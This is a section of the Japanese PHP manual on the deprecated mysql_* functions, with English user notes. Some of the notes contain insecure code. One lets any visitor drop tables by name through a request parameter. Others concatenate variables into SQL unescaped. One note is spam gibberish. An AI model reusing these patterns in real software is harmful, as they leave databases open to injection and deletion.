   $query = "INSERT INTO test (value)
                  VALUES ('test')
                  ON DUPLICATE KEY UPDATE value = 'test2'";
   mysql_query( $query );

   echo 'LAST_INSERT_ID: ',
          mysql_query( "SELECT LAST_INSERT_ID()" ),
          '<br>mysql_insert_id: ',
          mysql_insert_id();

?>

This will print:

LAST_INSERT_ID: 2
mysql_insert_id: 1

By using the ON DUPLICATE KEY UPDATE clause, only the old datarow will be modified, if the INSERT statement causes a duplicate entry, but the LAST_INSERT_ID() function returns the next auto_increment value for the primary key, which is by the way not set as the next auto_increment value in the database.

The mysql_insert_id() function returns the primary key of the old (and changed) data row. For me this is the right operation method, because the LAST_INSERT_ID() function returns a value which is not referenced to a data row at all.

Greets from Munich.

heiligkind
02-Dec-2005 10:48
Take care of setting an empty value for the AUTO_INCREMENT Field else you never get a value except zero returned from mysq_insert_id() ....

Ciao Ephraim
athies at gmail dot com 21-Jul-2005 02:36
Just a quick note. mysql_insert_id() does work with REPLACE.
Steve Bond 24-Jun-2004 11:47
If you use this function after doing an INSERT ... SELECT to insert multiple rows at once, you get the autonumber ID of the *first* row added by the INSERT.

e.g. if there are 4 records in table 'init' that have column 'type' = 2
I want to add these 4 records to table 'game'
Table game has an autonumber column 'game_id' that is currently at 32.

If I do this query:

INSERT INTO game (type, players, rounds)
SELECT type, players, rounds FROM init
WHERE type = 2

Then mysql_insert_id() will return 33, not 36.
vksgeneric at hotmail dot com 09-Dec-1999 05:14
You can't do an INSERT DELAYED and expect to get anything but zero, for it runs in a separate thread, and mysql_insert_id() is tied to the current thread.
Vlad


MySQL サーバー上で利用可能なデータベースのリストを得る

  • ≪ mysql_insert_id
  • mysql_list_fields ≫
  • PHP Manual
  • MySQL 関数
  • MySQL サーバー上で利用可能なデータベースのリストを得る

mysql_list_dbs

(PHP 4, PHP 5)

mysql_list_dbs — MySQL サーバー上で利用可能なデータベースのリストを得る

警告

この関数は PHP 5.4.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • SQL クエリー: SHOW DATABASES

説明

mysql_list_dbs ( resource $link_identifier = NULL ) : resource

現在の mysql デーモンで利用可能なデータベースの結果ポインタを返します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に結果ポインタ resource を、失敗した場合に false を返します。結果ポインタの中身を調べるために mysql_tablename() 関数を利用し、取得したテーブルを 利用するには mysql_fetch_array() などの関数を 利用してください。

例

例1 mysql_list_dbs() の例

<?php
// mysql_list_dbs() を使わない方法
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$res = mysql_query("SHOW DATABASES");

while ($row = mysql_fetch_assoc($res)) {
    echo $row['Database'] . "\n";
}

// PHP 5.4.0 からは非推奨
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$db_list = mysql_list_dbs($link);

while ($row = mysql_fetch_object($db_list)) {
     echo $row->Database . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

database1
database2
database3

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_listdbs()

参考

  • mysql_db_name() - mysql_list_dbs のコール結果からデータベース名を取得する
  • mysql_select_db() - MySQL データベースを選択する

User Contributed Notes

jeff at forerunnertv dot com 06-Jun-2020 04:17
There is no direct equivalent of mysql_list_dbs() as a mysqli_list_dbs() command, but you can query "show databases" instead.

So this:

$db_list = mysql_list_dbs($connect);  //mysql

Is equivalent to this:

$db_list = mysqli_query($connect, "SHOW DATABASES"); //mysqli
busilezas at gmail dot com 24-Feb-2015 11:49
The example is wrong in Spanish version.

ERROR:  mysql_fetch_assoc() expects parameter 1 to be resource, null given in XXX on line 5
while ($fila = mysql_fetch_assoc($res)) {

OK.
while ($fila = mysql_fetch_assoc($resultado)) {
theriault 03-Jul-2012 09:46
Another alternative to this function is:

SQL Query: SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
matjung at hotmail dot com 27-Feb-2010 02:30
The result pointer contains only the databases for which the mysql_user has the select priviledge granted.


MySQL テーブルのフィールドのリストを得る

  • ≪ mysql_list_dbs
  • mysql_list_processes ≫
  • PHP Manual
  • MySQL 関数
  • MySQL テーブルのフィールドのリストを得る

mysql_list_fields

(PHP 4, PHP 5)

mysql_list_fields — MySQL テーブルのフィールドのリストを得る

警告

この関数は PHP 5.4.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • SQL クエリー: SHOW COLUMNS FROM sometable

説明

mysql_list_fields ( string $database_name , string $table_name , resource $link_identifier = NULL ) : resource

指定された名前のテーブルについての情報を取得します。

この関数は非推奨です。かわりに mysql_query() を利用して SHOW COLUMNS FROM table [LIKE 'name'] 文を発行することを推奨します。

パラメータ

database_name

クエリの対象となるデータベース名。

table_name

クエリの対象となるテーブル名。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に結果ポインタ resource 、失敗した場合に false を返します。

返された結果は mysql_field_flags(),
mysql_field_len(),
mysql_field_name() そして
mysql_field_type() で利用可能です。

例

例1 非推奨である mysql_list_fields() の代替例

<?php
$result = mysql_query("SHOW COLUMNS FROM sometable");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
if (mysql_num_rows($result) > 0) {
    while ($row = mysql_fetch_assoc($result)) {
        print_r($row);
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [Field] => id
    [Type] => int(7)
    [Null] =>
    [Key] => PRI
    [Default] =>
    [Extra] => auto_increment
)
Array
(
    [Field] => email
    [Type] => varchar(100)
    [Null] =>
    [Key] =>
    [Default] =>
    [Extra] =>
)

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_listfields()

参考

  • mysql_field_flags() - 結果において指定したフィールドのフラグを取得する
  • mysql_info() - 直近のクエリについての情報を得る

User Contributed Notes

user1337 at 1337example dot com 08-Nov-2017 12:28
asgasgashashashasashsah
dshds
hd
s
sd
j
sj
df
j
fg
j
dfhfj
gf
jr
h
yure

gfj
3w
yfg
jr
ej
dtey

y
j
uresy
hf
y
re
256
4

rhy
udf
j
d

HUI
phpflow at gmail dot com 22-Jun-2012 08:32
Below script is used to get all coloumn indormation of an table.When we are working custome ORM then we need to match the coloumn name with array keys.

<?php
function getColoumn($table) {
     $result = mysql_query("SHOW COLUMNS FROM ". $table);
      if (!$result) {
        echo 'Could not run query: ' . mysql_error();
      }
      $fieldnames=array();
      if (mysql_num_rows($result) > 0) {
        while ($row = mysql_fetch_assoc($result)) {
          $fieldnames[] = $row['Field'];
        }
      }

      return $fieldnames;
}
?>
perwool at seznam dot cz 29-Oct-2007 02:32
Every my html table output begins with heading row containing the field names. For that purpose I accepted the short combination of MySQL function, giving me a result similar to the mysql_fetch_array() for the row of values. The following example shows the basic idea. It should be adapted for the specific use:

<?php
//...
$field_names = array_keys( mysql_fetch_array( mysql_query( $query, $link), MYSQL_ASSOC));
//...
?>

The advantage of this is, that it gives the names of the result, neither the field names of the whole table.
Please read the discussion about duplicate field names in SQL result carefully. The use, as shown in the example above, increments the pointer, hence some regular function, which does not, could be more useful :-)

Jan
steve at tequilasolutions dot com 12-Sep-2006 06:33
Note, using mysql_list_fields will change the currently selected database so subsequent mysql_query operations will be on the database in param 1 not the one selected with mysql_select_db
rhyous at yahoo dot com 04-Jun-2005 03:22
To make an array containing the names of a column from a table, you use the following simple script: (Note: using table1 with three columns)

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $colname[0];
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => firstcolumn
[secondcolumn] => secondcolumn
[thirdcolumn] => thirdcolumn
)
*/
?>

Or you can number the columns from zero.  This help when using it in conjunction with mysql_fetch_row to get an array.  You don't have to remember which number of the array a certain column is.

<?php
$qColumnNames = mysql_query("SHOW COLUMNS FROM table1",$db) or die("mysql error");
$numColumns = mysql_num_rows($qColumnNames);
$x = 0;
while ($x < $numColumns)
{
    $colname = mysql_fetch_row($qColumnNames);
    $col[$colname[0]] = $x;
    $x++;
}

print_r($col);

/* it will have the following output
Array (
[firstcolumn] => 0
[secondcolumn] => 1
[thirdcolumn] => 2
)
*/
?>

To use it in conjuction with mysql_fetch_row:

<?php
$row = mysql_fetch_row("SELECT * from table1",$db) or die("mysql error");
?>

You can now call $row[col[firstcolumn]].  This becomes useful when you have a lot of columns.
mbevan at marginsoftware dot com 13-Nov-2003 01:40
If you're willing to use a lot of functions to get a little information about fields in a table, this function is for you.  If you just want to get all the information you can find, you can use this:

<?php

// Taken from: http://ca.php.net/manual/en/function.mysql-field-flags.php
// Original by: amir at scrounch dot com
// Returns the name of the fields in the primary key for a table.
// Also keeps the fields in KEY order.  Handy.
function getPrimaryKeyOf($table) {
  $keys = Array();

  $query = sprintf("SHOW KEYS FROM `%s`", $table);
  $result = mysql_query($query) or die(mysql_error());

  while ($row = mysql_fetch_assoc($result)) {
    if ( $row['Key_name'] == 'PRIMARY' )
      $keys[$row['Seq_in_index'] - 1] = $row['Column_name'];
  }

  return $keys;
}

// Returns a bunch of information about a table...
// The name of the auto-increment field, if any, fields in the
// primary key (using the function above), and all information
// about all fields.
function getTableInformationOf($table) {
  $information = array(
      "auto"    => "",
      "primary" => array(),
      "fields"  => array()
    );

  $information['primary'] = $this->getPrimaryKeyOf($table);

  $result = mysql_query("DESC `$table`");
  while ( $field = mysql_fetch_assoc($result) ) {
    $information['fields'][] = $field;
    if ( $field['Extra'] == "auto_increment" )
      $information['auto'] = $field['Field'];
  }

  return $information;
}

?>
dom at brainwaveuk dot com 19-Jul-2002 07:55
mysql_list_fields() retrieves information about the given table name but you can use something like mysql_fetch_field to retrieve the field names from a result source.


MySQL プロセスのリストを得る

  • ≪ mysql_list_fields
  • mysql_list_tables ≫
  • PHP Manual
  • MySQL 関数
  • MySQL プロセスのリストを得る

mysql_list_processes

(PHP 4 >= 4.3.0, PHP 5)

mysql_list_processes — MySQL プロセスのリストを得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_thread_id()

説明

mysql_list_processes ( resource $link_identifier = NULL ) : resource|false

現在の MySQL サーバーのスレッドを取得します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に結果ポインタ resource 、 失敗した場合に false を返します。

例

例1 mysql_list_processes() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

$result = mysql_list_processes($link);
while ($row = mysql_fetch_assoc($result)){
    printf("%s %s %s %s %s\n", $row["Id"], $row["Host"], $row["db"],
        $row["Command"], $row["Time"]);
}
mysql_free_result($result);
?>

上の例の出力は、 たとえば以下のようになります。

1 localhost test Processlist 0
4 localhost mysql sleep 5

参考

  • mysql_thread_id() - カレントのスレッド ID を返す
  • mysql_stat() - 現在のシステムの状態を取得する

User Contributed Notes

clintond at iol dot ie 15-Oct-2014 05:19
You can achieve the equivalent of the mysql_list_processes() function for MySQLi in php using:
function mysqli_list_processes(){
  $query = "SHOW PROCESSLIST";
  if ($res =$this->mysqli->query($query)){
    while ($row = $res->fetch_assoc()) $recs[$i++] = $row;
    $res->close();
    return $recs;
  } else {
    return false;
  }
}


MySQL データベース上のテーブルのリストを得る

  • ≪ mysql_list_processes
  • mysql_num_fields ≫
  • PHP Manual
  • MySQL 関数
  • MySQL データベース上のテーブルのリストを得る

mysql_list_tables

(PHP 4, PHP 5)

mysql_list_tables — MySQL データベース上のテーブルのリストを得る

警告

この関数は PHP 4.3.0 で非推奨になり、PHP 7.0.0 で MySQL 拡張モジュール 全体とあわせて削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • SQL クエリー: SHOW TABLES FROM dbname

説明

mysql_list_tables ( string $database , resource $link_identifier = NULL ) : resource|false

MySQL データベースから、テーブル名のリストを取得します。

この関数は非推奨となりました。かわりに mysql_query() を利用して SHOW TABLES [FROM db_name] [LIKE 'pattern'] 文を発行することを推奨します。

パラメータ

database

データベース名。

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に結果ポインタ resource 、 失敗した場合に false を返します。

結果ポインタの中身を調べるためには mysql_tablename() 関数を利用し、 取得したテーブルを利用するには mysql_fetch_array() などの関数を利用してください。

変更履歴

バージョン | 説明
4.3.7 | この関数は非推奨となりました。

例

例1 mysql_list_tables() の別の例

<?php
$dbname = 'mysql_dbname';

if (!mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
    echo 'Could not connect to mysql';
    exit;
}

$sql = "SHOW TABLES FROM $dbname";
$result = mysql_query($sql);

if (!$result) {
    echo "DB Error, could not list tables\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_row($result)) {
    echo "Table: {$row[0]}\n";
}

mysql_free_result($result);
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_listtables()

参考

  • mysql_list_dbs() - MySQL サーバー上で利用可能なデータベースのリストを得る
  • mysql_tablename() - フィールドのテーブル名を得る

User Contributed Notes

bimal at sanjaal dot com 28-Feb-2013 09:22
A better alternative to mysql_list_tables() would be the following mysql_tables() function.

<?php
/**
* Better alternative to mysql_list_tables (deprecated)
*/
function mysql_tables($database='')
{
    $tables = array();
    $list_tables_sql = "SHOW TABLES FROM {$database};";
    $result = mysql_query($list_tables_sql);
    if($result)
    while($table = mysql_fetch_row($result))
    {
        $tables[] = $table[0];
    }
    return $tables;
}

# Usage example
$tables = mysql_tables($database_local);
?>
kroczu at interia dot pl 08-Dec-2006 03:01
<?
// here is a much more elegant method to check if a table exists ( no error generate)

if( mysql_num_rows( mysql_query("SHOW TABLES LIKE '".$table."'")))
{
 //...
}

?>
mrkvomail at centrum dot cz 29-Jan-2006 11:48
You can also do this with function mysql_query(). It's better because mysql_list_tables is old function and you can stop showing errors.

function mysql_table_exists($dbLink, $database, $tableName)
{
   $tables = array();
   $tablesResult = mysql_query("SHOW TABLES FROM $database;", $dbLink);
   while ($row = mysql_fetch_row($tablesResult)) $tables[] = $row[0];
    if (!$result) {
    }
   return(in_array($tableName, $tables));
}
Anonymous 15-Dec-2005 06:38
Getting the database status:
<?
// Get database status by DtTvB
// Connect first
mysql_connect   ('*********', '*********', '********');
mysql_select_db ('*********');

// Get the list of tables
$sql  = 'SHOW TABLES FROM *********';
if (!$result = mysql_query($sql)) { die ('Error getting table list (' . $sql . ' :: ' . mysql_error() . ')'); }

// Make the list of tables an array
$tablerow = array();
while ($row = mysql_fetch_array($result)) { $tablerow[] = $row; }

// Define variables...
$total_tables       = count($tablerow);
$statrow            = array();
$total_rows         = 0;
$total_rows_average = 0;
$sizeo              = 0;

// Get the status of each table
for ($i = 0; $i < count($tablerow); $i++) {
    // Query the status...
    $sql = "SHOW TABLE STATUS LIKE '{$tablerow[$i][0]}';";
    if (!$result = mysql_query($sql)) { die ('Error getting table status (' . $sql . ' :: ' . mysql_error() . ')'); }
    // Get the status array of this table
    $table_info = mysql_fetch_array($result);
    // Add them to the total results
    $total_rows         += $table_info[3];
    $total_rows_average += $table_info[4];
    $sizeo              += $table_info[5];
}

// Function to calculate size of the file
function c2s($bs) {
         if ($bs < 964)     { return round($bs)           . " Bytes"; }
    else if ($bs < 1000000) { return round($bs/1024,2)    . " KB"   ; }
    else                    { return round($bs/1048576,2) . " MB"   ; }
}

// Echo the result!!!!!!!!!
echo "{$total_rows} rows in {$total_tables} tables";
echo "<br>Average size in each row: " . c2s($total_rows_average/$total_tables);
echo "<br>Average size in each table: " . c2s($sizeo/$total_tables);
echo "<br>Database size: " . c2s($sizeo);

// Close the connection
mysql_close();
?>
daveheslop (dave heslop) 07-May-2005 04:45
Worth noting for beginners: using a row count to test for the existence of a table only works if the table actually contains data, otherwise the test will return false even if the table exists.
wbphfox at xs4all dot nl 09-Sep-2003 09:55
Here is a way to show al the tables and have the function to drop them...

<?php

echo "<p align=\"left\">";
//this is the connection file for the database....
$connectfile = "connect.php";
require $connectfile;

$dbname = 'DATABASE NAME';

$result = mysql_list_tables($dbname);

echo "<table width=\"75%\" border=\"0\">";
echo  "<tr bgcolor=\"#993333\"> ";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Table name:</font></td>";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Delete?</font></td>";
echo  "</tr>";

    if (!$result) {
        print "DB Error, could not list tables\n";
        print 'MySQL Error: ' . mysql_error();
        exit;
    }

    while ($row = mysql_fetch_row($result)) {
        echo "<tr bgcolor=\"#CCCCCC\">";
echo    "<td>";
           print "$row[0]\n";
echo    "</td>";

echo    "<td>";
echo    "<a href=\"$PHP_SELF?action=delete&table=";
         print "$row[0]\n";
echo    "\">Yes?</a>";

echo    "</td>";

echo "</tr>";

    }

    mysql_free_result($result);

//Delete
if($action=="delete")
{
$deleteIt=mysql_query("DROP TABLE $table");
if($deleteIt)
{
echo "The table \"";
echo "$table\" has been deleted with succes!<br>";
}
else
{
echo "An error has occured...please try again<br>";
}
}

?>
thebitman at attbi dot com 07-May-2003 01:49
okay everybody, the fastest, most accurate, safest method:

function mysql_table_exists($table, $link)
{
     $exists = mysql_query("SELECT 1 FROM `$table` LIMIT 0", $link);
      if ($exists) return true;
     return false;
}

Note the "LIMIT 0", I mean come on, people, can't get much faster than that! :)
As far as a query goes, this does absolutely nothing. But it has the ability to fail if the table doesnt exist, and that's all you need!
daevid at daevid dot com 17-Dec-2002 04:36
I was in need of a way to create a database, complete with tables from a .sql file. Well, since PHP/mySQL doesn't allow that it seems, the next best idea was to create an empty template database and 'clone & rename it'. Guess what? There is no mysql_clone_db() function or any SQL 'CREATE DATABASE USING TEMPLATEDB' command. grrr...

So, this is the hack solution I came up with:

$V2DB = "V2_SL".$CompanyID;

$result = mysql_create_db($V2DB, $linkI);
if (!$result) $errorstring .= "Error creating ".$V2DB." database<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";

mysql_select_db ($V2DB, $linkI) or die ("Could not select ".$V2DB." Database");

//You must have already created the "V2_Template" database.
//This will make a clone of it, including data.

$tableResult = mysql_list_tables ("V2_Template");
while ($row = mysql_fetch_row($tableResult))
{
    $tsql = "CREATE TABLE ".$V2DB.".".$row[0]." AS SELECT * FROM V2_Template.".$row[0];
    echo $tsql."<BR>\n";
    $tresult = mysql_query($tsql,$linkI);
    if (!$tresult) $errorstring .= "Error creating ".$V2DB.".".$row[0]." table<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";
}
cdarklock at darklock dot com 06-Dec-2002 08:03
Actually, the initially posted SELECT COUNT(*) approach is flawless. SELECT COUNT(*) will provide one and only one row in response unless you can't select from the table at all. Even a brand new (empty) table responds with one row to tell you there are 0 records.

While other approaches here are certainly functional, the major problem comes up when you want to do something like check a database to ensure that all the tables you need exist, as I needed to do earlier today. I wrote a function called tables_needed() that would take an array of table names -- $check -- and return either an array of tables that did not exist, or FALSE if they were all there. With mysql_list_tables(), I came up with this in the central block of code (after validating parameters, opening a connection, selecting a database, and doing what most people would call far too much error checking):

if($result=mysql_list_tables($dbase,$conn))
{   // $count is the number of tables in the database
    $count=mysql_num_rows($result);
    for($x=0;$x<$count;$x++)
    {
        $tables[$x]=mysql_tablename($result,$x);
    }
    mysql_free_result($result);
    // LOTS more comparisons here
    $exist=array_intersect($tables,$check);
    $notexist=array_diff($exist,$check);
    if(count($notexist)==0)
    {
        $notexist=FALSE;
    }
}

The problem with this approach is that performance degrades with the number of tables in the database. Using the "SELECT COUNT(*)" approach, performance only degrades with the number of tables you *care* about:

// $count is the number of tables you *need*
$count=count($check);
for($x=0;$x<$count;$x++)
{
    if(mysql_query("SELECT COUNT(*) FROM ".$check[$x],$conn)==FALSE)
    {
        $notexist[count($notexist)]=$check[$x];
    }
}
if(count($notexist)==0)
{
    $notexist=FALSE;
}

While the increase in speed here means virtually nothing to the average user who has a database-driven backend on his personal web site to handle a guestbook and forum that might get a couple hundred hits a week, it means EVERYTHING to the professional who has to handle tens of millions of hits a day... where a single extra millisecond on the query turns into more than a full day of processing time. Developing good habits when they don't matter keeps you from having bad habits when they *do* matter.
29-Oct-2002 05:42
<?
/*
   Function that returns whole size of a given MySQL database
   Returns false if no db by that name is found
*/

  function getdbsize($tdb) {
    $db_host='localhost';
    $db_usr='USER';
    $db_pwd='XXXXXXXX';
    $db = mysql_connect($db_host, $db_usr, $db_pwd) or die ("Error connecting to MySQL Server!\n");
    mysql_select_db($tdb, $db);

    $sql_result = "SHOW TABLE STATUS FROM " .$tdb;
    $result = mysql_query($sql_result);
    mysql_close($db);

    if($result) {
        $size = 0;
        while ($data = mysql_fetch_array($result)) {
             $size = $size + $data["Data_length"] + $data["Index_length"];
        }
        return $size;
    }
    else {
        return FALSE;
    }
  }

?>

<?
/*
   Implementation example
*/

  $tmp = getdbsize("DATABASE_NAME");
  if (!$tmp) { echo "ERROR!"; }
  else { echo $tmp; }
?>
mail at thomas-hoerner dot de 04-Oct-2002 09:24
You can also use mysql_fetch_object if you consider a specialty: The name of the object-var is

Tables_in_xxxxx

where xxxxx is the name of the database.

i.e. use

$result = mysql_list_tables($dbname);
$varname="Tables_in_".$dbname;
while ($row = mysql_fetch_object($result)) {
   echo $row->$varname;
};
NewToPHP_Guy at Victoria dot NOSPAM dot com 02-Oct-2002 02:06
The example by PHP-Guy to determine if a table exists is interesting and useful (thanx), except for one tiny detail.  The function 'mysql_list_tables()' returns table names in lower case even when tables are created with mixed case.  To get around this problem, add the 'strtolower()' function in the last line as follows:

return(in_array(strtolower($tableName), $tables));
coffee at hayekheaven dot net 17-Jun-2002 05:48
Even though php guy's solution is probably the fastest here's another one just for the heck of it...
I use this function to check whether a table exists. If not it's created.

mysql_connect("server","usr","pwd")
    or die("Couldn't connect!");
mysql_select_db("mydb");

$tbl_exists = mysql_query("DESCRIBE sometable");
if (!$tbl_exists) {
mysql_query("CREATE TABLE sometable (id int(4) not null primary key,
somevalue varchar(50) not null)");
}


結果におけるフィールドの数を得る

  • ≪ mysql_list_tables
  • mysql_num_rows ≫
  • PHP Manual
  • MySQL 関数
  • 結果におけるフィールドの数を得る

mysql_num_fields

(PHP 4, PHP 5)

mysql_num_fields — 結果におけるフィールドの数を得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_num_fields()
  • PDOStatement::columnCount()

説明

mysql_num_fields ( resource $result ) : int|false

クエリから、フィールドの数を取得します。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

返り値

成功した場合に結果セット resource のフィールド数、 失敗した場合に false を返します。

例

例1 mysql_num_fields() の例

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}

/* id,email の 2 つのフィールドがあるので、2 を返す */
echo mysql_num_fields($result);
?>

注意

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_numfields()

参考

  • mysql_select_db() - MySQL データベースを選択する
  • mysql_query() - MySQL クエリを送信する
  • mysql_fetch_field() - 結果からカラム情報を取得し、オブジェクトとして返す
  • mysql_num_rows() - 結果における行の数を得る

User Contributed Notes

php at jezusisheer dot nl 29-Mar-2007 11:10
Note that, if you want to get the amount of columns of a table and you're using the "SHOW COLUMNS FROM $table" query, you will have to use mysql_num_rows() instead of mysql_num_fields() on the result. This becomes logical when thinking about it, because the SHOW COLUMNS query returns a result with six columns (Field, Type, Null, Key, Default and Extra) and with a single row for every column found. If you'd count the number of fields, you'd always get 6. If you count the number of rows, you'll get the amount of columns found.
tharkey at tharkey dot net 19-Jun-2003 11:26
You can use it without a requete, just to list the fields :

$liste_champs = mysql_list_fields ( $Base, $Table, $connexion);

for ($i=0; $i < mysql_num_fields ($l_champs); $i++) {
                        echo ( mysql_field_name ($l_champs, $i) );
                        echo (' / ');
                        }
apass AT passmoore DOT com 01-Oct-2002 03:52
Adding to the last comment: you can dynamically loop through any number of  columns AND rows like so-

$query="your SQL";
$result=mysql_query($query) or die("Query ($query) sucks!");
$fields=mysql_num_fields($result);

echo "<table>\n<tr>";
for ($i=0; $i < mysql_num_fields($result); $i++) //Table Header
{ print "<th>".mysql_field_name($result, $i)."</th>"; }
echo "</tr>\n";
while ($row = mysql_fetch_row($result)) { //Table body
echo "<tr>";
    for ($f=0; $f < $fields; $f++) {
    echo "<td>$row[$f]</td>"; }
echo "</tr>\n";}
echo "</table><p>";

This has been tested.
matt at iwdt dot net 23-Sep-2001 06:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
bwark at stanford dot edu 24-Dec-2000 02:56
If you just want the number of fields in a table, you can do something like this:

<?php
$db_id = mysql_connet();
$result = mysql_query("DESCRIBE [tableName], $db_id);

$numFields = mysql_num_rows($result);
?>

Because "DESCRIBE" returns one row for each field in the table (at least in MySQL), this will work.


結果における行の数を得る

  • ≪ mysql_num_fields
  • mysql_pconnect ≫
  • PHP Manual
  • MySQL 関数
  • 結果における行の数を得る

mysql_num_rows

(PHP 4, PHP 5)

mysql_num_rows — 結果における行の数を得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_num_rows()
  • mysqli_stmt_num_rows()
  • PDOStatement::rowCount()

説明

mysql_num_rows ( resource $result ) : int|false

結果セットから行の数を取得します。このコマンドは、 SELECT や SHOW のような、実際に結果セットを返す文に対してのみ有効です。 INSERT、UPDATE、REPLACE、DELETE クエリで変更された行の数を得るには、 mysql_affected_rows() を使用してください。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

返り値

成功した場合に結果セットの行の数、失敗した場合に false を返します。

例

例1 mysql_num_rows() の例

<?php

$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "$num_rows Rows\n";

?>

注意

注意:

mysql_unbuffered_query() を使用した場合、 結果セットのすべての行を取得するまで mysql_num_rows() は正しい値を返しません。

注意:

下位互換のために、次の非推奨別名を使用してもいいでしょう。 mysql_numrows()

参考

  • mysql_affected_rows() - 一番最近の操作で変更された行の数を得る
  • mysql_connect() - MySQL サーバーへの接続をオープンする
  • mysql_data_seek() - 内部的な結果ポインタを移動する
  • mysql_select_db() - MySQL データベースを選択する
  • mysql_query() - MySQL クエリを送信する

User Contributed Notes

Joebomb 22-Sep-2015 10:51
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
mauriciocramos at gmail dot com 21-Mar-2011 12:43
When mysql.trace_mode = On, SELECT FOUND_ROWS() allway returns 0.  It looks like a bug.

In detail:

If you have a table with 5 rows and issue:

SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 1;

mysql_num_rows() returns 1 as expected.

If you issue "SELECT FOUND_ROWS()" just in sequence, in the same connection resource, it allways returns 0 rather than expected 5.

Just switch mysql.trace_mode to Off and things will work.
Typer85 at gmail dot com 18-Mar-2010 11:20
Actually I am a little ashamed to be saying this, but I stand corrected about a rather old note I posted on 17-Jul-2007 06:44.

Using SQL_CALC_FOUND_ROWS and FOUND_ROWS( ) will NOT trigger a race condition on MySQL, as that would pretty much defy their entire purpose.

The results for their usage is actually unique per connection session as it is impossible for processes to share anything in PHP. As far as PHP is concerned, each request represents a new connection to MySQL as each request is isolated to its own process.

To simulate this, create the following script:

<?php

